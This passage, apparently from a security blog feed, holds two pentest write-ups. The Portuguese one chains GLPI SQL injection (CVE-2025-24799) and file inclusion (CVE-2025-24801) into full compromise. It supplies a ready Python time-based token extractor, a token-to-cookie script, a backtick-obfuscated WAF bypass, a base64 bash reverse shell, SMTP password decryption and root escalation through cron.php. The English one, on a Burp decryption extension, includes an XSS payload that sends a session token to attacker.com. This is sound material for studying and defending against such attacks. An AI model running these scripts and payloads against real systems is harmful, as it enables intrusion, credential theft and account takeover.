Esse é o padrão do token, caracteres de a</strong> até Z</strong>, de 0</strong> a 9</strong>, tem o comprimento de 41 caracteres</strong> e os caracteres podem ser maiúsculos ou minúsculos.</p>
Para testar se a teoria estava correta, voltaremos a requisição original do SQL Injection e substituiremos para o uso da função de ASCII do SQL para converter um inteiro em um caractere e enviar isso ao Intruder do Burp Suite, que percorreria do número 0 até 200 e esperaria 6 segundos caso o caractere estivesse correto.</p>
Ao percorrer até 200, cobrimos todo o espectro de caracteres imprimíveis padrão mais uma margem de segurança para caracteres estendidos. Se o caractere na posição X tiver valor ASCII igual ao número que estamos testando, o banco executa um SLEEP de 6 segundos e o Burp detecta esse delay, revelando qual é o caractere correto. Esse processo se repete para cada posição da string que queremos extrair (senha, hash, nome de usuário, etc.), construindo a informação byte a byte através da diferença no tempo de resposta.</p>
Um ponto que me ajudou também é que o GLPI conta com diversos usuários padrão, como o usuário glpi</strong> que era meu alvo justamente por ser um usuário naturalmente Super-Admin</strong>, e que felizmente tinha um api_token</strong> definido.</p>
Com a query abaixo, coletei uma parte do api_token</strong> do usuário glpi</strong> e confirmei que seria possível prosseguir desta forma, no entanto, isso acabaria levando muito tempo, e por isso, optei por desenvolver um script Python que automatizaria este processo.</p>
</p>
Abaixo deixarei o código utilizado para fazer a exfiltração destes dados, onde basta especificar a URL e o nome do usuário alvo. O restante dos argumentos são opcionais e podem ser ajustados dependendo do seu contexto. Lembrando que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na extração.</p>
import</span> requests</span></span>
import</span> time</span></span>
import</span> argparse</span></span>
import</span> urllib3</span></span>
urllib3.disable_warnings()</span></span>
</span>
def</span> payload</span>(</span>url</span>:</span> str</span>,</span> user</span>:</span> str</span>,</span> pos</span>:</span> int</span>,</span> char_code</span>:</span> int</span>,</span> sleep_time</span>:</span> int</span>,</span> timeout</span>:</span> int</span>) -></span> bool</span>:</span></span>
    xml</span> =</span> f</span>"""<?xml version="1.0"?></span></span>
<xml></span></span>
    <QUERY>get_params</QUERY></span></span>
    <deviceid>' OR IF(ASCII(SUBSTRING((SELECT api_token FROM glpi_users WHERE name='</span>{</span>user</span>}</span>' LIMIT 1),</span>{</span>pos</span>}</span>,1))=</span>{</span>char_code</span>}</span>,SLEEP(</span>{</span>sleep_time</span>}</span>),0)-- -</deviceid></span></span>
    <content>creds</content></span></span>
</xml>"""</span></span>
</span>
    headers</span> =</span> {</span></span>
        "Content-Type"</span>:</span> "application/xml"</span>,</span></span>
        "User-Agent"</span>:</span> "Mozilla/5.0"</span>,</span></span>
        "Accept"</span>:</span> "*/*"</span>,</span></span>
        "Accept-Encoding"</span>:</span> "gzip, deflate, br"</span></span>
    }</span></span>
</span>
    start</span> =</span> time.perf_counter()</span></span>
</span>
    try</span>:</span></span>
        requests.post(url,</span> headers</span>=</span>headers,</span> data</span>=</span>xml,</span> timeout</span>=</span>timeout,</span> verify</span>=</span>False</span>)</span></span>
    except</span> requests.exceptions.Timeout:</span></span>
        return</span> True</span></span>
    elapsed</span> =</span> time.perf_counter()</span> -</span> start</span></span>
    return</span> elapsed</span> >=</span> sleep_time</span></span>
</span>
def</span> main</span>():</span></span>
    argparser</span> =</span> argparse.ArgumentParser(</span>description</span>=</span>"NTSLabs | Time-based SQLi extractor for GLPI api_token | CVE-2025-24799"</span>)</span></span>
</span>
    argparser.add_argument(</span>"-u"</span>,</span>"--url"</span>,</span>     required</span>=</span>True</span>,</span> help</span>=</span>"Full target URL (e.g. https://…/)"</span>)</span></span>
    argparser.add_argument(</span>"-n"</span>,</span>"--name"</span>,</span>    default</span>=</span>"glpi"</span>,</span>   help</span>=</span>"Username in glpi_users to extract token for"</span>)</span></span>
    argparser.add_argument(</span>"-s"</span>,</span>"--sleep"</span>,</span>   type</span>=</span>int</span>,</span> default</span>=</span>5</span>,</span>  help</span>=</span>"Sleep time used in the payload"</span>)</span></span>
    argparser.add_argument(</span>"-t"</span>,</span>"--timeout"</span>,</span> type</span>=</span>int</span>,</span> default</span>=</span>7</span>,</span>  help</span>=</span>"Request timeout (should exceed sleep)"</span>)</span></span>
    argparser.add_argument(</span>"-o"</span>,</span>"--offset"</span>,</span>  type</span>=</span>int</span>,</span> default</span>=</span>1</span>,</span>  help</span>=</span>"Starting character position (1-based)"</span>)</span></span>
    argparser.add_argument(</span>"-m"</span>,</span>"--max"</span>,</span>     type</span>=</span>int</span>,</span> default</span>=</span>32</span>,</span> help</span>=</span>"Max token length to probe"</span>)</span></span>
    argparser.add_argument(</span>"-p"</span>,</span>"--prefix"</span>,</span>  default</span>=</span>""</span>,</span>         help</span>=</span>"Already-known prefix to prepend"</span>)</span></span>
</span>
    args</span> =</span> argparser.parse_args()</span></span>
</span>
    token</span> =</span> args.prefix</span></span>
    for</span> pos</span> in</span> range</span>(args.offset, args.max</span> +</span> 1</span>):</span></span>
        for</span> char</span> in</span> range</span>(</span>32</span>,</span> 127</span>):</span></span>
            if</span> payload(args.url, args.name, pos, char, args.sleep, args.timeout):</span></span>
                token</span> +=</span> chr</span>(char)</span></span>
                print</span>(</span>chr</span>(char),</span> end</span>=</span>""</span>,</span> flush</span>=</span>True</span>)</span></span>
                break</span></span>
        else</span>:</span></span>
            break</span></span>
</span>
    print</span>(</span>f</span>"</span>\n{</span>token</span>}</span>"</span>)</span></span>
</span>
if</span> __name__</span> ==</span> "__main__"</span>:</span></span>
    main()</span></span></code></pre>
Executando o script e esperando o processo de extração, logo vamos ter o api_token</strong> completo do usuário glpi</strong> em mãos. Para verificar se o token está funcional, utilizei a própria rota da API do GLPI /apirest.php/initSession?get_full_session=true</code> que vi anteriormente na documentação, e que retorna um session_token</strong> caso o api_token</strong> seja válido.</p>
curl</span> -X</span> GET</span> \</span></span>
    -H</span> 'Content-Type: application/json'</span> \</span></span>
    -H</span> "Authorization: user_token <api_token>"</span> \</span></span>
    'https://<instancia-glpi>/apirest.php/initSession?get_full_session=true'</span></span></code></pre>
Felizmente tudo correu bem durante o processo de extração do api_token</strong> e o mesmo era válido, a API retornou uma resposta JSON completa com informações da sessão juntamente de um session_token</strong>, indicando que o api_token</strong> é funcional.</p>
Seguindo com a exploração, apenas com o session_token</strong> não é possível se autenticar na interface do serviço do GLPI, apenas interagir com a API. Então, desenvolvi outra ferramenta que utiliza o api_token</strong> para retornar um cookie de sessão válido. Ressalta-se que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na execução.</p>
import</span> requests</span></span>
from</span> bs4</span> import</span> BeautifulSoup</span></span>
import</span> urllib3</span></span>
import</span> argparse</span></span>
urllib3.disable_warnings()</span></span>
</span>
def</span> generate_cookie</span>(</span>base_url</span>:</span> str</span>,</span> user_token</span>:</span> str</span>):</span></span>
    login_url</span> =</span> base_url.rstrip(</span>"/"</span>)</span> +</span> "/front/login.php"</span></span>
</span>
    session</span> =</span> requests.Session()</span></span>
    session.verify</span> =</span> False</span></span>
    session.headers.update({</span></span>
      "User-Agent"</span>:</span>   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0"</span>,</span></span>
      "Referer"</span>:      login_url,</span></span>
      "Origin"</span>:       base_url.rstrip(</span>"/"</span>),</span></span>
      "Accept"</span>:</span>       "text/html,application/xhtml+xml"</span></span>
    })</span></span>
</span>
    response</span> =</span> session.get(login_url); response.raise_for_status()</span></span>
    soup</span> =</span> BeautifulSoup(response.text,</span> "html.parser"</span>)</span></span>
    form</span> =</span> soup.find(</span>"form"</span>,</span> action</span>=</span>lambda</span> x</span>: x</span> and</span> "login.php"</span> in</span> x)</span></span>
    csrf</span> =</span> form.find(</span>"input"</span>, {</span>"name"</span>:</span>"_glpi_csrf_token"</span>})[</span>"value"</span>]</span></span>
</span>
    data</span> =</span> {</span></span>
      "redirect"</span>:</span>          ""</span>,</span></span>
      "_glpi_csrf_token"</span>:  csrf,</span></span>
      "auth"</span>:</span>              "token"</span>,</span></span>
      "user_token"</span>:        user_token,</span></span>
      "submit"</span>:</span>            "Login"</span></span>
    }</span></span>
</span>
    second_response</span> =</span> session.post(login_url,</span> data</span>=</span>data); second_response.raise_for_status()</span></span>
</span>
    for</span> cookie_name, cookie_value</span> in</span> session.cookies.items():</span></span>
        if</span> cookie_name.startswith(</span>"glpi_"</span>):</span></span>
            print</span>(</span>f</span>"Cookie: </span>{</span>cookie_name</span>}</span>=</span>{</span>cookie_value</span>}</span>"</span>)</span></span>
            return</span> session</span></span>
</span>
    raise</span> RuntimeError</span>(</span>"Impossible to generate a cookie :/ "</span>)</span></span>
</span>
if</span> __name__</span> ==</span> "__main__"</span>:</span></span>
    argparser</span> =</span> argparse.ArgumentParser()</span></span>
</span>
    argparser.add_argument(</span>"-u"</span>,</span>"--url"</span>,</span>   required</span>=</span>True</span>,</span> help</span>=</span>"URL"</span>)</span></span>
    argparser.add_argument(</span>"-t"</span>,</span>"--token"</span>,</span> required</span>=</span>True</span>,</span> help</span>=</span>"api_token"</span>)</span></span>
    args</span> =</span> argparser.parse_args()</span></span>
</span>
    sess</span> =</span> generate_cookie(args.url, args.token)</span></span></code></pre>
Executando o script acima é possível obter um cookie de sessão para o usuário glpi</strong>. Com o cookie em mãos, finalmente pude me autenticar no GLPI. Para utilizar o cookie capturado, usei uma extensão no navegador chamada Cookie-Editor</strong></a> e inseri o valor capturado. Em seguida, atualizei a página e agora estou autenticado como o usuário glpi</strong> na instância do GLPI.</p>

</p>
Criatividade e RCE</h2>
Com uma sessão de super admin</strong> estabelecida, agora podemos prosseguir para o comprometimento interno desse GLPI. Conforme visto anteriormente, existe uma outra vulnerabilidade que afeta versões do GLPI inferiores à 10.0.17. Trata-se de uma vulnerabilidade catalogada como CVE-2025-24801</strong>, que explora uma vulnerabilidade de Local File Inclusion no mecanismo de definir uma fonte para arquivos PDF, cuja ideia é escrever uma webshell maliciosa no diretório temporário do GLPI (/var/www/html/glpi/files/_tmp/</strong>) e acessá-la a partir deste Local File Inclusion, o que posteriormente nos permitirá escalonar para Remote Code Execution.</p>
Primeiramente precisei de uma outra conta admin, pois o exploit que irei utilizar para explorar a vulnerabilidade requisita o usuário e a senha. Lembre-se de criar esta conta com o perfil super admin</strong>, assim garantimos todas as permissões necessárias.</p>
</p>
Além disso, precisei permitir o upload de arquivos PHP, o que pode ser feito a partir do formulário de tipos de documentos, da mesma forma que está sendo feita abaixo:</p>
</p>
Após permitir o envio de arquivos PHP, utilizei o exploit desenvolvido pelo pesquisador "ribeirin" que está disponível em seu GitHub</a>. A sintaxe para a execução do exploit é simples, basta especificar as credenciais da conta administradora que criei anteriormente, a URL do alvo e o comando que desejo executar.</p>
python3</span> cve-2025-24801.py</span> --username</span> <</span>usuari</span>o</span>></span> --password</span> '<senha>'</span> --url</span> https://example.com</span> --cmd</span> hostname</span></span></code></pre>
</p>
Conforme podemos ver na imagem acima, temos RCE no ambiente! Entretanto, executar comandos através do exploit limita a exploração. Como o entendimento da vulnerabilidade também é importante, enviei as requisições feitas pelo exploit ao Burp Suite através da adição de um proxy no script e tentei executar um comando com espaços e hífens, nesse caso, uname -a</code>. Porém, o servidor está respondendo com "403 Forbidden", ou seja, estava sendo bloqueado.</p>
</p>
Podemos perceber que o servidor está bloqueando o comando, provavelmente através de um mecanismo de defesa nativo da aplicação ou um simples comportamento errôneo. Após algumas tentativas, com o apoio dos meus colegas de trabalho, pude descobrir uma maneira de contornar esse problema utilizando a técnica de Command Substitution</strong>. O Command Substitution</strong> é uma técnica que nos permite executar comandos dentro de crases (backticks)</em> ou $()</em>, onde o resultado do comando é substituído no local.</p>
</p>
Com isso em mente, digamos que desejamos executar o comando uname -a</code> novamente, mas desta vez com a técnica Command Substitution embutida, o comando final será:</p>
u`u`n`u`a`u`m`u`e%20-a</span></span></code></pre>
</p>
Podemos notar que agora não há quaisquer bloqueios e o comando funciona normalmente. Com isso, basta formularmos o comando correto para estabelecer a reverse shell. A ideia que tive foi codificar o comando alvo em base64</strong> e utilizar as funções echo</strong> e base64 -d</strong>, resultando no comando abaixo:</p>
e`u`c`u`h`u`o+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMC4wLjAuMC8wMCAwPiYxJw==|+b`u`a`u`s`u`e`u`6`u`4+-d+|+b`u`a`u`s`u`h</span></span></code></pre>
</p>
Ao verificar o servidor que estava ouvindo na porta 80, após enviar o payload da reverse shell, pude ver que a sessão foi estabelecida com sucesso e agora tenho acesso interno no GLPI, elevando o comprometimento da aplicação a outro nível.</p>
</p>
A partir deste ponto, executei mais dois ataques no ambiente:</p>

Comprometimento a conta SMTP que estava configurada no ambiente;</li>
Escalação de privilégios para root.</li>
</ul>
Comprometendo Conta SMTP</h2>
Iniciando com o comprometimento da conta SMTP do ambiente, vale entender que essas configurações ficam armazenadas no banco de dados do GLPI de forma criptografada. Felizmente, o GLPI armazena a chave privada desta criptografia em um arquivo chamado glpicrypt.key</strong>, que na maioria das vezes está no diretório da aplicação web. Então com a chave em mãos, descriptografar essas informações não seria um problema.</p>
Para obter estes dados, acessei o banco de dados da aplicação a partir do binário do MySQL que já vem instalado por padrão em instâncias do GLPI. As credenciais do banco de dados podemos encontrar geralmente no arquivo de configurações do GLPI, que também fica no diretório da aplicação web.</p>
Com elas em mão, utilizei o seguinte comando para me conectar ao banco de dados:</p>
mysql</span> -u</span> <</span>usuari</span>o</span>></span> -h</span> <</span>hos</span>t</span>></span> -p</span><</span>senha</span>></span></span></code></pre>
</p>
Selecionei o banco de dados do GLPI (glpi</em>) e usei o comando SELECT * FROM glpi_configs\g</code> para capturar todas as configurações do GLPI. Também é possível utilizar SELECT smtp_mode, smtp_host, smtp_port, smtp_username, smtp_passwd FROM glpi_configs\g</code> para uma melhor saída, mas optei por capturar todas para garantir que estava atrás dos itens corretos.</p>

</p>
Com as informações coletadas, com foco na senha do usuário ligado ao serviço do SMTP, copiei o arquivo glpicrypt.key</strong> para minha máquina local e utilizei um script para realizar a descriptografia da senha capturada.</p>
<?</span>php</span></span>
</span>
$encoded_value</span> =</span> base64_decode</span>(</span>'Informação Encriptada Em Base64'</span>);</span></span>
$nonce</span> =</span> substr</span>($encoded_value,</span> 0</span>,</span> SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES</span>);</span></span>
$ciphertext</span> =</span> substr</span>($encoded_value,</span> SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES</span>);</span></span>
$private_key</span> =</span> file_get_contents</span>(</span>'glpicrypt.key'</span>);</span></span>
</span>
$decrypted</span> =</span> sodium_crypto_aead_xchacha20poly1305_ietf_decrypt</span>($ciphertext, $nonce, $nonce, $private_key);</span></span>
echo</span> "Result: "</span> .</span> $decrypted;</span></span>
?></span></span></code></pre>
</p>
Com a senha do usuário em mãos, consegui me autenticar com sucesso no ambiente Office da conta comprometida e a partir de lá também tive acesso a diversos outros ambientes da empresa cuja autenticação era feita a partir de SSO.</p>
Escalonando para Root</h2>
Durante a enumeração do ambiente Linux, notei que meu usuário tem privilégio de escrita sobre o arquivo cron.php</strong>. O que acontece é que há um crontab configurado para executar este mesmo arquivo de tempos em tempos, porém com o usuário root, então o processo é simples: basta inserirmos uma reverse shell no cron.php</strong> e teremos privilégios de root.</p>
</p>
Optei inicialmente por testar a veracidade disso, portanto, fui ao arquivo cron.php</strong> e modifiquei o início do arquivo, adicionando a função system()</strong> do PHP e em seguida utilizei o nslookup</strong> e um endereço de callback, onde no início do endereço adicionei $(whoami)</strong> para que fosse impresso o usuário que está executando o nslookup</strong>.</p>
</p>
Após um breve tempo para que o cron fosse executado, ao acessar o servidor web, pude notar que de fato o comando nslookup está sendo executado pelo usuário root</strong>.</p>
</p>
Bastou voltar ao arquivo cron.php e substituir o comando de nslookup por uma reverse shell genérica, conforme demonstrado abaixo:</p>
</p>
Modificando o arquivo e salvando-o, aguardei novamente a execução do cron. Alguns minutos depois, tenho a shell root estabelecida com sucesso.</p>
</p>
A partir disto, estabeleci persistência no ambiente e também comprometi outros ambientes Linux que tinha acesso a partir dessa instância GLPI, além de também ter acesso ao ambiente AWS que estava configurado, elevando o comprometimento para além da instância GLPI original.</p>
Conclusão</h2>
Neste artigo abordo uma situação importante de analisar a diferença de código entre as versões de um software e como uma ideia pode ajudar a formular toda uma sequência de ataques que podem resultar em uma falha de maior impacto ao ambiente. Espero que este artigo contribua com os leitores e que possam ter aprendido algo a partir dele.</p>
Agradeço também à Lexfo pelo ótimo artigo que foi um ponto chave para entender a causa da falha e como poderia me aproveitar dela para escalar privilégios dentro deste contexto.</p>
Agradecimentos</h2>

Guilherme d'Ávila</a></li>
Paulo Victor</a></li>
Thauan Santos</a></li>
</ul>
Referências</h2>

blog.lexfo.fr — GLPI: From SQL Injection to RCE</a></li>
github.com — GLPI diff 10.0.17...10.0.18</a></li>
github.com — CVE-2025-24801 exploit by r1beirin</a></li>
</ul>


Defeating Client-Side Web Encryption with Burp Suite Extension
2025-12-26T00:00:00+00:00
In a recent pentest, I came across a not-so-common situation that gives a false sense of security, what we usually call "security through obscurity". While interacting with the web application, I noticed that all data sent and received wasn't in clear text or anything like that, but rather a JSON entity with all its content encrypted.</p>
</p>
As seen in the image above, the response content that the API returns consists of the following format:</p>
{</span>"data"</span>:</span>"SGVsbG8hIE9sw6EhIEhvbGEh"</span>}</span></span></code></pre>
In order to actually perform this pentest, that is, to see what's being passed in the requests and later manipulate them or interact with them, we need to understand how the application is sending this information to the client and also to the server. This web application in question is built in React.js, so we just need to analyze the JavaScript files.</p>
Analyzing the source code, I searched for references like privateKey</code>, encrypt</code>, decrypt</code> and other keywords and found some points in the code that were essential for me to understand where the cryptographic keys were stored and how they were later used. Inside the JavaScript file, the word StorageItems</code> caught my attention and made me look at the browser's Storage tab.</p>

</p>
We can see in the image above that there are several properties in our browser's local storage, these are:</p>

iv_[ID]</code></li>
privateKey_[ID]</code></li>
publicKey_[ID]</code></li>
symmetricKey_[ID]</code></li>
</ul>
The value of all these properties are encrypted information encoded in Base64, I believe to ensure compatibility in sending and receiving information, preventing any invalid character from being sent or lost in this process. Now that we know the private key, symmetric key, IV and public key are easily accessible, we need to analyze the source code even more to see how they're being used.</p>
In the following image, we can collect the names of several functions that are later used by the application to obtain raw data, such as getEncryptedIvKey</code>, getEncryptedSymmetricKey</code>, getPrivateKeyRSA</code>, getPrivateKeyBase64</code> and some others. We also found some references to the algorithm used, which is PKCS1 and later converted to Base64.</p>

</p>
Based on continuous source code analysis, we discovered relevant points such as:</p>

RSA-2048 is used for key wrapping</em>;</li>
For data encryption, AES-256-CBC is used;</li>
The IV is kept in hex format, which is unnecessary.</li>
</ul>
With this in mind, it becomes easy to understand the data encryption flow and how they're passed along. First, the application collects the encrypted information along with the keys that are used for it, then it decrypts the symmetric key and IV using the RSA private key, after that, it decrypts the information using AES-CBC along with the symmetric key and IV previously obtained, then we remove the padding and parse the JSON, which will return the JSON in clear text for us.</p>
</p>
To check if we're on the right path, I developed a simple Python script that will use the Crypto library and will receive each of these properties statically, replicate the process executed by the application and in the end return the JSON to us. Below I'll be attaching the Python script code with comments about each section of it.</p>
</p>
We'll replace all the PLACEHOLDERS</code> in the code with the content that's stored locally in the browser and run the script. Since in this case everything was correct (fortunately), we have the JSON with data in clear text, which proves that the process of decrypting the information is possible on the client side without the need for direct intervention from the web application. This is where security through obscurity happens, it's believed that data is being transmitted much more securely because it's encrypted, but actually since the client needs the private keys to also be able to send them encrypted to the server and later read them, there's no other choice but for the developer to make the client have access to them.</p>
</p>
Essentially, being able to decrypt information in clear text isn't a vulnerability, it's just an insufficient layer of protection that the developer imposed on the application. This is minimally useful because it will make life harder for the attacker who will have to do this same process (or something similar) to be able to exploit other vulnerabilities in the application. However, without being able to reverse this process, I can say that the chance of me finding any vulnerability in the application later is extremely low, because I won't understand what's happening, that is, blind pentesting.</p>
In other scenarios from some articles that can be found on the internet, including one in the references section, the researcher demonstrates how he bypassed this encryption and later found some high-impact vulnerabilities in the application, this shows that, is the additional layer of protection important? Yes! Does it prevent vulnerabilities? Obviously not. That's why security is several layers and not just one that will temporarily cover an attacker's eyes.</p>
Another relevant point is the storage of sensitive information in Local Storage. Many developers believe that just by storing sensitive information in other places, or for example, introducing protections in session cookies so that XSS attacks can't steal them is good enough, but what about Local Storage? It's not protected and its use isn't recommended for this, mainly because if we go back a few steps, in addition to the mentioned properties, there's one that stores precisely the user's session JWT. So with an XSS, it would still be possible to escalate to an Account Takeover. For example, the following XSS payload reads the "token" property from Local Storage and sends it to an external server, which was used in a real pentest to escalate an XSS to Account Takeover.</p>
<</span>iframe</span> src</span>=</span>"javascript:(function(){window.location.href='https://attacker.com//'+localStorage.getItem('token')})()"</span>></span></span></code></pre>Burp Suite Extension</h2>
The problem is that this whole process from the Python code would make the process kind of slow and not so automatic, so as a challenge, I set myself to develop a local extension for Burp Suite so I could automate this process. Extensions for Burp Suite can be made in several languages like Python (Jython), Ruby (JRuby) and Java which is Burp Suite's native language. Initially I thought about using Jython for this, the problem? It's limited to Python 2.7 and I don't have practice with Ruby, therefore, I opted to do it in Java, which previously cost me 5 hours and a lot of headache, but in the end it worked.</p>
Looking for information on how to develop this extension, PortSwigger itself offers a template to create your extension, which helped me a lot to have the project base. Another extremely fundamental piece (and possibly without it, I would have taken many more hours) was the article by researcher Hosam Gemei</a> who developed a simple extension for the same situation as mine!</p>
</p>
Burp Suite extensions use the Montoya API to interact with various Burp Suite actions. When the extension is loaded, Burp Suite invokes the BurpExtension.initialize(MontoyaApi)</code> method and later creates an instance of the Montoya API interface, from this, our extension can interact with various Burp Suite functionalities.</p>
</p>
So, with full help from Hosam Gemei's project source code, since the situations were practically identical, I started the extension development process, which seemed like a simple process at first, but due to some needs, ended up taking a few more hours. My initial idea was to do like the Python script and define the keys and content statically in the source code, as in the example below:</p>
package helpers</span>;</span></span>
</span>
public class</span> </span>Constants</span> {</span></span>
    public static final</span> String</span> EXTENSION_NAME</span> =</span> "Decrypt"</span>;</span></span>
    public static final</span> String</span> CAPTION</span> =</span> "Decrypt Extension"</span>;</span></span>
    public static final</span> String</span> LOADED_MSG</span> =</span> "[+] Decrypt Extension loaded successfully!"</span>;</span></span>
    public static final</span> String</span> UNLOAD_MSG</span> =</span> "[+] Decrypt Extension unloaded successfully!"</span>;</span></span>
</span>
    public static final</span> String</span> PUBLIC_KEY_B64</span> =</span> ""</span>;</span></span>
    public static final</span> String</span> ENC_PARAMETER_REQ</span> =</span> "data"</span>;</span></span>
    public static final</span> String</span> KEY_ALGORITHM</span> =</span> "AES"</span>;</span></span>
    public static final</span> String</span> ENCRYPTED_SYMMETRIC_KEY_B64</span> =</span> ""</span>;</span></span>
    public static final</span> String</span> ENCRYPTED_IV_B64</span> =</span> ""</span>;</span></span>
    public static final</span> String</span> PRIVATE_KEY_B64</span> =</span> ""</span>;</span></span>
}</span></span></code></pre>
However, what gain would I have if I had to keep manually editing in case the keys changed and have to compile the extension JAR again? None! So the only difference between my extension and Hosam Gemei's is that I added an extra window where I define the keys statically from Burp Suite's own graphical interface, which was a very positive gain. To develop this window was quite simple, we just use JPanel which is basically a container from the Swing library that allows adding components like buttons, input fields, developing layouts, sections and others. The structure is quite simple:</p>
SettingsTab.java</strong></p>
package ui</span>;</span></span>
</span>
import burp.api.montoya.MontoyaApi</span>;</span></span>
import helpers.ConfigManager</span>;</span></span>
</span>
import javax.swing.</span>*</span>;</span></span>
import java.awt.</span>*</span>;</span></span>
</span>
public class</span> </span>SettingsTab</span> {</span></span>
</span>
    private final</span> MontoyaApi</span> montoya;</span></span>
    private final</span> ConfigManager</span> config;</span></span>
    private</span> JPanel</span> panel;</span></span>
</span>
    public</span> SettingsTab</span>(</span>MontoyaApi</span> api</span>) {</span></span>
        this</span>.montoya</span> =</span> api;</span></span>
        this</span>.config</span> =</span> ConfigManager.</span>getInstance</span>();</span></span>
        createUI</span>();</span></span>
    }</span></span>
</span>
    private</span> void</span> createUI</span>() {</span></span>
        panel </span>= new</span> JPanel</span>(</span>new</span> GridBagLayout</span>());</span></span>
        GridBagConstraints</span> gbc</span> = new</span> GridBagConstraints</span>();</span></span>
        gbc.fill</span> =</span> GridBagConstraints.HORIZONTAL;</span></span>
        gbc.insets</span> = new</span> Insets</span>(</span>5</span>,</span> 5</span>,</span> 5</span>,</span> 5</span>);</span></span>
</span>
        int</span> row</span> =</span> 0</span>;</span></span>
</span>
        addLabel</span>(</span>"Private Key (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> privateKeyField</span> =</span> addTextArea</span>(config.</span>getPrivateKeyB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Public Key (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> publicKeyField</span> =</span> addTextArea</span>(config.</span>getPublicKeyB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Encrypted Symmetric Key (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> encSymKeyField</span> =</span> addTextArea</span>(config.</span>getEncryptedSymmetricKeyB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Encrypted IV (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> encIvField</span> =</span> addTextArea</span>(config.</span>getEncryptedIvB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Request Enc Parameter:"</span>, gbc, row);</span></span>
        JTextField</span> reqParamField</span> = new</span> JTextField</span>(config.</span>getEncParamReq</span>(),</span> 20</span>);</span></span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row</span>++</span>;</span></span>
        panel.</span>add</span>(reqParamField, gbc);</span></span>
</span>
        addLabel</span>(</span>"Response Enc Parameter:"</span>, gbc, row);</span></span>
        JTextField</span> respParamField</span> = new</span> JTextField</span>(config.</span>getEncParamResp</span>(),</span> 20</span>);</span></span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row</span>++</span>;</span></span>
        panel.</span>add</span>(respParamField, gbc);</span></span>
</span>
        JButton</span> saveButton</span> = new</span> JButton</span>(</span>"Save Configuration"</span>);</span></span>
        saveButton.</span>addActionListener</span>(e </span>-></span> {</span></span>
            config.</span>setPrivateKeyB64</span>(privateKeyField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setPublicKeyB64</span>(publicKeyField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncryptedSymmetricKeyB64</span>(encSymKeyField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncryptedIvB64</span>(encIvField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncParamReq</span>(reqParamField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncParamResp</span>(respParamField.</span>getText</span>().</span>trim</span>());</span></span>
</span>
            montoya.</span>logging</span>().</span>logToOutput</span>(</span>"[+] Configuration saved successfully"</span>);</span></span>
            JOptionPane.</span>showMessageDialog</span>(panel,</span> "Configuration saved!"</span>);</span></span>
        });</span></span>
</span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row;</span></span>
        panel.</span>add</span>(saveButton, gbc);</span></span>
    }</span></span>
</span>
    private</span> void</span> addLabel</span>(</span>String</span> text</span>,</span> GridBagConstraints</span> gbc</span>,</span> int</span> row</span>) {</span></span>
        gbc.gridx</span> =</span> 0</span>; gbc.gridy</span> =</span> row;</span></span>
        panel.</span>add</span>(</span>new</span> JLabel</span>(text), gbc);</span></span>
    }</span></span>
</span>
    private</span> JTextArea</span> addTextArea</span>(</span>String</span> defaultValue</span>,</span> GridBagConstraints</span> gbc</span>,</span> int</span> row</span>) {</span></span>
        JTextArea</span> textArea</span> = new</span> JTextArea</span>(defaultValue,</span> 3</span>,</span> 40</span>);</span></span>
        textArea.</span>setLineWrap</span>(</span>true</span>);</span></span>
        JScrollPane</span> scrollPane</span> = new</span> JScrollPane</span>(textArea);</span></span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row;</span></span>
        panel.</span>add</span>(scrollPane, gbc);</span></span>
        return</span> textArea;</span></span>
    }</span></span>
</span>
    public</span> Component</span> getComponent</span>() {</span></span>
        return</span> panel;</span></span>
    }</span></span>
}</span></span></code></pre>
ConfigManager.java</strong></p>
package helpers</span>;</span></span>
</span>
public class</span> </span>ConfigManager</span> {</span></span>
    private static</span> ConfigManager</span> instance;</span></span>
</span>
    private</span> String</span> privateKeyB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> publicKeyB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> encryptedSymmetricKeyB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> encryptedIvB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> encParamReq</span> =</span> "data"</span>;</span></span>
    private</span> String</span> encParamResp</span> =</span> "data"</span>;</span></span>
</span>
    private</span> ConfigManager</span>() {}</span></span>
</span>
    public static</span> ConfigManager</span> getInstance</span>() {</span></span>
        if</span> (instance </span>==</span> null</span>) {</span></span>
            instance </span>= new</span> ConfigManager</span>();</span></span>
        }</span></span>
        return</span> instance;</span></span>
    }</span></span>
</span>
    public</span> String</span> getPrivateKeyB64</span>() {</span> return</span> privateKeyB64; }</span></span>
    public</span> String</span> getPublicKeyB64</span>() {</span> return</span> publicKeyB64; }</span></span>
    public</span> String</span> getEncryptedSymmetricKeyB64</span>() {</span> return</span> encryptedSymmetricKeyB64; }</span></span>
    public</span> String</span> getEncryptedIvB64</span>() {</span> return</span> encryptedIvB64; }</span></span>
    public</span> String</span> getEncParamReq</span>() {</span> return</span> encParamReq; }</span></span>
    public</span> String</span> getEncParamResp</span>() {</span> return</span> encParamResp; }</span></span>
</span>
